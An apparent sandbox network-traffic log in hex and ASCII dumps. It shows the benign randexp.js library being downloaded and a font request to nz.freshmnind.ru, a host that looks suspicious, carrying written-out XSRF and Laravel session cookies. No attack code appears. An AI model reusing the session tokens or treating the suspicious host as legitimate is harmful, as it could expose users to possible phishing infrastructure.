X-Cache-Hits: 1418, 0 X-Timer: S1742922499.637211,VS0,VE1
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 2f 2f 0a 2f 2f 20 72 61 6e 64 65 78 70 20 76 30 2e 34 2e 33 0a 2f 2f 20 43 72 65 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 73 20 74 68 61 74 20 6d 61 74 63 68 20 61 20 67 69 76 65 6e 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 2e 0a 2f 2f 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 36 20 62 79 20 52 6f 6c 79 20 46 65 6e 74 61 6e 65 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 29 0a 2f 2f 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 2f 2f 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 2f 72 61 6e 64 65 78 70 2e 6a 73 2f 72 61 77 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 20 0a 2f 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 52 61 6e 64 45 78 70 22 Data Ascii: //// randexp v0.4.3// Create random strings that match a given regular expression.//// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent)// MIT License// http://github.com/fent/randexp.js/raw/master/LICENSE //!function(){var e="RandExp"
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 72 61 6e 64 49 6e 74 26 26 28 65 2e 72 61 6e 64 49 6e 74 3d 74 2e 72 61 6e 64 49 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 68 2c 63 3b 73 77 69 74 63 68 28 65 2e 74 79 70 65 29 7b 63 61 73 65 20 6c 2e 52 4f 4f 54 3a 63 61 73 65 20 6c 2e 47 52 4f 55 50 3a 69 66 28 65 2e 66 6f 6c 6c 6f 77 65 64 42 79 7c 7c 65 2e 6e 6f 74 46 6f 6c 6c 6f 77 65 64 42 79 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 65 2e 72 65 6d 65 6d 62 65 72 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 26 26 28 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 3d 74 2e 70 75 73 68 28 6e 75 6c 6c 29 2d 31 29 2c 6e 3d 65 2e 6f 70 74 69 6f 6e 73 3f 61 2e 63 61 6c 6c Data Ascii: ),"function"==typeof t.randInt&&(e.randInt=t.randInt)}function u(e,t){var n,i,p,h,c;switch(e.type){case l.ROOT:case l.GROUP:if(e.followedBy\|\|e.notFollowedBy)return"";for(e.remember&&void 0===e.groupNumber&&(e.groupNumber=t.push(null)-1),n=e.options?a.call
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 2e 72 61 6e 64 65 78 70 28 74 68 69 73 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 66 61 75 6c 74 52 61 6e 67 65 3d 6e 65 77 20 68 28 33 32 2c 31 32 36 29 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 61 6e 64 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 31 2b 74 2d 65 29 29 7d 7d 2c 7b 22 64 69 73 63 6f 6e 74 69 6e 75 6f 75 73 2d 72 61 6e 67 65 22 3a 32 2c 72 65 74 3a 33 7d 5d 2c 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 74 68 69 73 2e 6c 6f 77 3d 65 2c 74 68 69 73 2e 68 69 67 68 3d 74 2c 74 68 69 73 2e 6c 65 Data Ascii: en=function(){return c.randexp(this)}},c.prototype.defaultRange=new h(32,126),c.prototype.randInt=function(e,t){return e+Math.floor(Math.random()*(1+t-e))}},{"discontinuous-range":2,ret:3}],2:[function(e,t,n){function r(e,t){this.low=e,this.high=t,this.le
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 29 74 2e 70 75 73 68 28 73 2e 72 61 6e 67 65 73 5b 6e 5d 2e 63 6c 6f 6e 65 28 29 29 2c 6e 2b 2b 3b 73 2e 72 61 6e 67 65 73 3d 74 2c 61 28 73 29 7d 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 3f 65 2e 72 61 6e 67 65 73 2e 66 6f 72 45 61 63 68 28 6e 29 3a 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 3f 6e 28 65 29 3a 28 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 65 29 2c 6e 28 6e 65 77 20 72 28 65 2c 74 29 29 29 2c 74 68 69 73 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 74 72 61 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 73 2e 72 61 6e 67 65 73 2e 6c 65 6e 67 74 68 26 26 Data Ascii: .length;)t.push(s.ranges[n].clone()),n++;s.ranges=t,a(s)}var s=this;return e instanceof o?e.ranges.forEach(n):e instanceof r?n(e):(void 0===t&&(t=e),n(new r(e,t))),this},o.prototype.subtract=function(e,t){function n(e){for(var t=[],n=0;n<s.ranges.length&&
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 44 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 22 3a 68 2e 70 75 73 68 28 61 2e 77 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 53 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 2f 5c 64 2f 2e 74 65 73 74 28 6e 29 3f 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 46 45 52 45 4e 43 45 2c 76 61 6c 75 65 3a 70 61 72 73 65 49 6e 74 28 6e 2c 31 30 29 7d 29 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 5e 22 3a 68 2e 70 75 73 68 28 73 2e Data Ascii: );break;case"D":h.push(a.notInts());break;case"s":h.push(a.whitespace());break;case"S":h.push(a.notWhitespace());break;default:/\d/.test(n)?h.push({type:o.REFERENCE,value:parseInt(n,10)}):h.push({type:o.CHAR,value:n.charCodeAt(0)})}break;case"^":h.push(s.
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 68 26 26 63 28 69 29 2c 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 50 45 54 49 54 49 4f 4e 2c 6d 69 6e 3a 30 2c 6d 61 78 3a 31 2f 30 2c 76 61 6c 75 65 3a 68 2e 70 6f 70 28 29 7d 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 72 65 74 75 72 6e 20 30 21 3d 3d 6c 2e 6c 65 6e 67 74 68 26 26 72 2e 65 72 72 6f 72 28 65 2c 22 55 6e 74 65 72 6d 69 6e 61 74 65 64 20 67 72 6f 75 70 22 29 2c 75 7d 2c 74 2e 65 78 70 6f 72 74 73 2e 74 79 70 65 73 3d 6f 7d 2c 7b 22 2e 2f 70 6f 73 69 74 69 6f 6e 73 22 3a 34 2c 22 2e 2f 73 65 74 73 22 3a 35 2c 22 2e 2f 74 79 70 65 73 22 3a 36 2c 22 2e 2f 75 74 69 6c 22 3a 37 7d 5d 2c 34 3a 5b 66 75 Data Ascii: h&&c(i),h.push({type:o.REPETITION,min:0,max:1/0,value:h.pop()});break;default:h.push({type:o.CHAR,value:n.charCodeAt(0)})}return 0!==l.length&&r.error(e,"Unterminated group"),u},t.exports.types=o},{"./positions":4,"./sets":5,"./types":6,"./util":7}],4:[fu
2025-03-25 17:08:18 UTC	1378	IN	Data Raw: 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 36 35 32 37 39 7d 5d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 30 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 33 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 32 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 33 7d 5d 7d 3b 6e 2e 77 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 31 7d 7d 2c 6e 2e 6e 6f 74 57 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 30 7d 7d 2c 6e 2e 69 6e Data Ascii: r.CHAR,value:65279}]},i=function(){return[{type:r.CHAR,value:10},{type:r.CHAR,value:13},{type:r.CHAR,value:8232},{type:r.CHAR,value:8233}]};n.words=function(){return{type:r.SET,set:a(),not:!1}},n.notWords=function(){return{type:r.SET,set:a(),not:!0}},n.in
2025-03-25 17:08:18 UTC	599	IN	Data Raw: 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 34 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 6f 72 64 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 35 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 36 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 37 5d 29 69 2e 70 75 73 68 28 7b 74 79 70 65 3a 72 2e 52 41 4e 47 45 2c 66 72 6f 6d 3a 28 61 5b 38 5d 7c 7c 61 5b 39 5d 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 74 6f 3a 61 5b 31 30 5d 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 3b 65 6c 73 65 7b 69 66 28 21 28 73 3d 61 5b 31 32 5d 29 29 72 65 74 75 72 6e 5b 69 2c 75 2e 6c 61 73 74 49 6e 64 65 78 5d 3b 69 2e 70 75 Data Ascii: hitespace());else if(a[4])i.push(o.notWords());else if(a[5])i.push(o.notInts());else if(a[6])i.push(o.notWhitespace());else if(a[7])i.push({type:r.RANGE,from:(a[8]\|\|a[9]).charCodeAt(0),to:a[10].charCodeAt(0)});else{if(!(s=a[12]))return[i,u.lastIndex];i.pu

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:18 UTC	1365	OUT	GET /GDSherpa-vf.woff2 HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive Origin: https://nz.freshmnind.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:20 UTC	1157	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:19 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="GDSherpa-vf.woff2" Last-Modified: Tue, 25 Mar 2025 15:31:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i397hGi43kT1ZXktmTn%2FCgTsB8vhFamUallT5aMEO9t1Yw0BnSnq%2BnFWPOdsw%2B93TumtHGRYC7EBoQ69dkjP7qS7xJoPJefZGSD5DRAQclZfD05PBMXUIvk426GW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1037&min_rtt=1033&rtt_var=298&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2321&delivery_rate=2734655&cwnd=240&unsent_bytes=0&cid=bfcd72a48c6c857b&ts=19&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 92600271bde24350-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105492&min_rtt=104670&rtt_var=22926&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1937&delivery_rate=35586&cwnd=241&unsent_bytes=0&cid=08226e08ac9eabf7&ts=1421&x=0"
2025-03-25 17:08:20 UTC	212	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 62 3c 2c 78 9e 9a 82 8b e1 e3 29 f6 84 63 bf 87 74 85 01 a3 6b 16 0e 86 39 ba 09 6f 1e 54 89 f1 52 39 d1 f2 8a 9e 6b 71 93 de 54 52 25 55 f2 d4 76 a3 f6 f9 a5 72 13 5f 92 92 e2 c3 0a 13 44 ba fc 14 66 b2 84 3d 71 48 da a1 bc c4 38 df 90 3c af 1d 07 78 08 c2 28 56 98 49 b2 68 94 4c 33 2a 23 5d 38 89 e2 09 2d 94 7a 94 9c df 03 ae e5 f7 8f 17 33 91 39 56 c4 93 99 be b4 14 f9 8b 98 1e c3 96 75 bf 15 1a a7 e4 0e ea f3 ed 78 b2 b6 f2 cb fa 53 5f ea 1d ff 5c 31 f0 f2 8c ca 26 36 ed e1 bc bc ff 6a 5e da 03 c4 63 3b 28 29 6d c4 4a 9d f5 c4 17 02 3e af fa aa 97 78 7a b0 ea 59 a2 bf ed 7c c8 37 9e 00 9c e8 05 95 21 9c 6a 77 02 b6 80 2c c9 Data Ascii: m/>8&f&]u&VD]<yReb<,x)ctk9oTR9kqTR%Uvr_Df=qH8<x(VIhL3*#]8-z39VuxS_\1&6j^c;()mJ>xzY\|7!jw,
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 3e d9 0e 44 66 41 90 c1 c0 1f 61 26 59 35 9d ce fc 85 47 48 9c dc 58 77 25 09 a5 15 5f 9a 11 1f 54 24 c2 22 11 1e 1e ec 77 dd f6 24 8a 23 a4 3e ee be f6 9b 95 04 2c 60 ba e4 bf 52 71 1e dd 2a 54 ea 34 59 ab a2 82 d2 3a 27 10 31 3a 48 2b 34 e8 5e c7 7b bf 7b c8 65 ff 42 cf bd bd ab ef b8 b2 97 ef 69 4a a4 41 10 31 c6 50 bb 1f be 4e e2 cd 9b d1 0b fa 4b 4f a4 c1 39 b1 d6 36 7e db fb f5 cd a9 82 cc dd 47 43 9a 20 e1 12 24 14 22 52 b8 85 38 22 8e a4 7b 76 f7 f3 d9 17 d6 f7 fc fe f9 d7 29 e7 7b 98 f3 bc db 98 3b b6 aa aa a8 aa a8 88 25 a2 ea 3b df 32 94 7c ed 9f f6 6c ef 21 73 f4 4a bb bb 26 84 c1 18 21 1e e6 21 84 0f 9b 2b 82 1a 77 af 35 6c 48 69 09 35 4a 24 75 82 dc 7e f1 b2 cd 6a 29 3d 11 8f 92 dd 10 05 7f bc 6f 86 94 ab 21 28 0f 87 be 27 08 80 be f0 01 b4 Data Ascii: >DfAa&Y5GHXw%_T$"w$#>,`Rq*T4Y:'1:H+4^{{eBiJA1PNKO96~GC $"R8"{v){;%;2\|l!sJ&!!+w5lHi5J$u~j)=o!('
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: ef 30 01 c5 7f 4b d3 80 08 2e 94 c2 60 c4 f5 1e c7 c1 b8 85 e0 63 f2 fc 21 17 35 5f a4 a7 ad c0 72 cd f9 6e a8 6d 5e 74 02 56 69 66 63 5b 99 97 7c 2c fd 27 61 c8 ae 40 18 e6 df aa 18 25 6e 94 42 80 07 20 2d 08 b1 93 c5 85 92 ca 74 24 c9 29 cb 80 39 2f 50 9a 2f 68 40 1a 7d 11 88 e5 e3 a4 75 80 dc c4 20 d0 83 46 5b 06 ed d9 92 51 34 05 42 e1 1d 06 d4 cc 4f a7 f3 a8 86 14 ca 37 c2 01 b0 1d 64 67 70 c8 e6 3d 82 39 11 ef 09 cd e3 90 81 38 bc 6e d5 36 b0 30 b7 3e 73 33 bc 8a 90 c1 04 4a dc 88 5d 38 67 02 e8 f9 c8 ee e9 ce ef 51 a3 39 c0 26 c4 d8 a7 93 2b e3 36 6f b5 c5 68 7d 8c 94 c3 4b e0 ec cc 9d d2 67 95 c6 4a 2e 43 fd 67 14 df 88 78 3e 8e cb 57 e9 89 c3 1f 96 b3 87 8b 11 33 06 11 34 6b 22 26 55 c5 d6 a2 ea 59 69 82 11 80 6c b8 40 0c 1a 2b 21 c0 34 cb 4f c3 Data Ascii: 0K.`c!5_rnm^tVifc[\|,'a@%nB -t$)9/P/h@}u F[Q4BO7dgp=98n60>s3J]8gQ9&+6oh}KgJ.Cgx>W34k"&UYil@+!4O
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 24 e2 8f ce 7f 13 bb a1 3d 21 b6 2b 7d ac 76 c8 d7 02 73 06 b5 db d0 49 22 32 49 bf 10 bc a0 d8 9c 34 99 2c 33 d6 72 e1 d2 df 5e 42 a9 8e 7b bd 96 31 a6 4d de a7 62 9b cc 63 9d c6 f1 2f 34 7d 54 e7 b4 4d c7 fa 6c 99 5d 33 da 4c 77 c2 3a 92 a4 64 ed 0b e8 55 62 22 33 fc bb a8 df cf da 1f 54 fe 3f df c2 9f fa 55 eb f3 2f fb 3f 6b 42 80 e6 dc c4 5f d1 c9 e3 66 b4 c7 ea be 1d ac ee 83 8e 1b 6e 8e ad e6 bf 68 8b 30 29 a2 ef ac 6e fe 44 d0 f2 a5 17 56 22 31 26 d0 d2 6d a3 bb 17 9d 73 39 f5 89 d5 38 e0 ef 35 50 6a bd d3 68 98 1c 7f 67 c2 aa e8 a1 96 8b d8 a4 bd 9e 7c 39 3f 4f c8 a7 12 23 ec ed 11 e2 58 6c 9b 9a a1 7a 4c a7 11 3d 93 cb 1a 4c d6 56 ca 7b d7 cc 70 24 8f 19 f8 91 9b ae b0 2b 74 9c 0d c7 6e 45 bd ad 63 20 b9 63 fa 91 b3 d4 3e 10 b3 8c 0f 08 47 58 59 Data Ascii: $=!+}vsI"2I4,3r^B{1Mbc/4}TMl]3Lw:dUb"3T?U/?kB_fnh0)nDV"1&ms985Pjhg\|9?O#XlzL=LV{p$+tnEc c>GXY
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: ca 13 74 8d a8 cd c7 ac 4b bc db 69 e7 25 31 fc e9 40 8d 94 e5 4d f5 ad 81 68 83 eb e8 05 23 03 df f5 fe 06 36 b5 c7 3a 22 04 d7 4e b9 cf d6 7e 51 66 42 4f af b5 64 c4 77 d5 ac 8b 72 c5 c6 e8 da 2f 45 53 1b 5e 36 bf b9 57 f3 0c 9b a7 79 98 43 e9 85 ab 31 07 50 d2 b9 fc f2 4c 58 6f d0 0e 04 fe 5e 10 f2 a5 62 4a 03 ae f5 23 0e a0 dc 11 5f 81 1e 73 b5 7b 39 53 f6 0e a9 9c 61 b4 08 19 a0 37 a3 b3 d1 64 42 58 af 6d b4 58 b0 25 ed e0 2e 67 1a 38 ca 4f ab 6d c5 9d 35 42 5e 54 6b 53 6a da 0c 6e 36 4d af b5 37 f9 5c b6 40 5b 76 29 54 f2 59 8f 3d f3 a5 86 3a 75 01 84 29 72 e0 63 68 d6 c8 ba 8a 3f d4 d9 56 7c 70 6c 59 66 f4 6d 5c cc 9e a2 13 3d b5 d1 e2 c1 14 a1 a4 bd 58 c0 cd f9 49 38 5d 1b e0 c7 3e 80 db 57 d8 d0 f7 34 d5 e9 e3 ff a0 96 2a 2e ee aa 1c c5 9e 8d 4c Data Ascii: tKi%1@Mh#6:"N~QfBOdwr/ES^6WyC1PLXo^bJ#_s{9Sa7dBXmX%.g8Om5B^TkSjn6M7\@[v)TY=:u)rch?V\|plYfm\=XI8]>W4*.L
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 1f ff 72 06 c6 c0 fa ed 9c 1c 7d f4 0c d2 d3 70 bc 97 db 6f b1 25 df 73 6b 4b 9b 6f 58 85 19 04 fb ee 8a f8 5e bf d7 b7 51 00 f1 b3 57 23 59 2e 77 0d f4 d4 fc 07 b6 eb 05 61 4b 8f 5a 69 5f 3f 47 81 2d dd 92 6b bd 6b 22 2b 98 d4 8f e4 e9 b1 30 e8 a1 ef f4 f7 86 b3 0e 29 d8 19 de e0 eb f9 a7 c6 a9 6c 9d 52 a2 a4 d8 95 ec 1d d9 5a e9 cf 87 7a 12 ff cf f2 c9 76 7e e8 a4 ba b1 b6 d1 ee e0 7a 6f e0 85 92 f6 20 63 59 69 56 e6 b3 2a dd e1 fb 92 29 89 1f d5 9b 49 97 d7 9b e9 9f a6 2b 09 6d e5 0d 86 58 5d fc e5 38 51 16 3b ad f1 91 74 dc 2c 3d 43 ce b0 07 c9 31 8e e0 3d 9f d5 dd 53 e1 45 a4 70 60 88 7d f4 f0 c9 ce e9 3c 80 df d7 78 30 94 d8 36 05 db e0 5a 22 20 14 60 19 dd f7 b3 b4 bd 5f 75 e5 6b a0 e7 ef 7e 7d d8 73 30 10 2c 3f 4a 0d df 7f 51 a7 a1 85 fe 76 4e 9d Data Ascii: r}po%skKoX^QW#Y.waKZi_?G-kk"+0)lRZzv~zo cYiV*)I+mX]8Q;t,=C1=SEp`}<x06Z" `_uk~}s0,?JQvN
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 6e e2 7b 95 55 6b 5d 9c cb f6 08 a5 23 7f ed f7 4e 66 a8 e5 0a f9 d5 c5 a9 c7 23 63 4f 93 1d bf 47 04 43 fb 82 87 2a 48 c7 8f d1 c3 39 c5 a6 73 dc 75 9e ee e5 63 68 f7 63 e3 75 2f 53 26 0b a9 87 9d 72 2c d1 e7 f6 b1 d4 a1 7c c2 a2 da 8a 7c 3f b9 20 fe 3a 8d 43 33 1b ab d4 f5 6d 4d c3 e2 dd 36 ee 35 62 69 95 22 f0 46 f8 d9 7a 68 37 a5 a8 21 6e b5 b2 92 5f 40 ab 16 92 96 5b e2 15 6e 46 29 46 b7 00 4f 05 6e b1 9b fa f9 5a cb 80 d9 34 ac 08 96 d6 da 40 6d 7b 3f f8 24 61 96 de 62 e5 00 a4 59 3c a2 bd a6 1e 75 01 cd 9c 00 1f 0d c7 da 08 15 91 3f d2 c4 4f 7f c1 0d 6c 0a 22 cb 59 c2 51 e4 59 52 b4 8c ef 09 b2 25 0c b9 b2 75 36 d6 a1 d6 98 53 0f e7 62 e9 dd f0 9f 66 d4 22 1b 6b 13 ea f6 c1 6d 7d 2a ba 94 7c f6 e9 dd fc 87 22 db 87 d7 e0 12 e6 4a d0 b7 e2 a7 bb 35 Data Ascii: n{Uk]#Nf#cOGCH9suchcu/S&r,\|\|? :C3mM65bi"Fzh7!n_@[nF)FOnZ4@m{?$abY<u?Ol"YQYR%u6Sbf"km}\|"J5
2025-03-25 17:08:20 UTC	1369	IN	Data Raw: 08 34 0b c9 ab 60 21 06 9f 15 10 0a 11 56 b6 61 9b a3 60 19 bd 82 2f ef c3 27 94 de ec ac 7c 55 54 c1 6a 83 d9 78 80 42 b4 21 58 23 ee bd fb 0a 3c f6 0f 28 19 2d 72 45 2f 9d 7c c7 ad 83 d8 2f 0d 8f 8c 1e f3 0b 28 e3 21 4d 8f fb ea 20 10 30 08 28 18 b0 44 f7 bf 00 88 20 61 11 d1 62 c4 ba f7 8a 41 c1 e1 43 42 87 c9 3d 6c 7b 81 47 00 38 11 5e 87 bf 23 b8 f0 b5 38 9c ef ea 0c ae 85 bb ad d9 82 3b e8 87 fa ef ed 3d c0 a3 eb 3f 0b b7 80 4d ef 65 b7 82 c3 97 dd 06 3e bc 8c 32 b8 6e 01 00 00 00 0d 47 0c ca 60 3c 20 d5 88 13 d9 02 c9 08 14 13 80 6e 8b 60 31 74 c6 dc 8c db d7 e9 d4 6a dc 38 9e 1a bf 1e 5f 00 01 05 55 88 89 bf ca 0c 2c 3a b7 0d 0a 83 0a d2 de 02 4a df 91 b3 2b 6d b3 43 b5 a5 48 08 52 40 cb a8 7f 90 13 46 b7 a0 cc 41 5a ff 9e 89 be 8c b4 05 1a d8 6c Data Ascii: 4`!Va`/'\|UTjxB!X#<(-rE/\|/(!M 0(D abACB=l{G8^#8;=?Me>2nG`< n`1tj8_U,:J+mCHR@FAZl
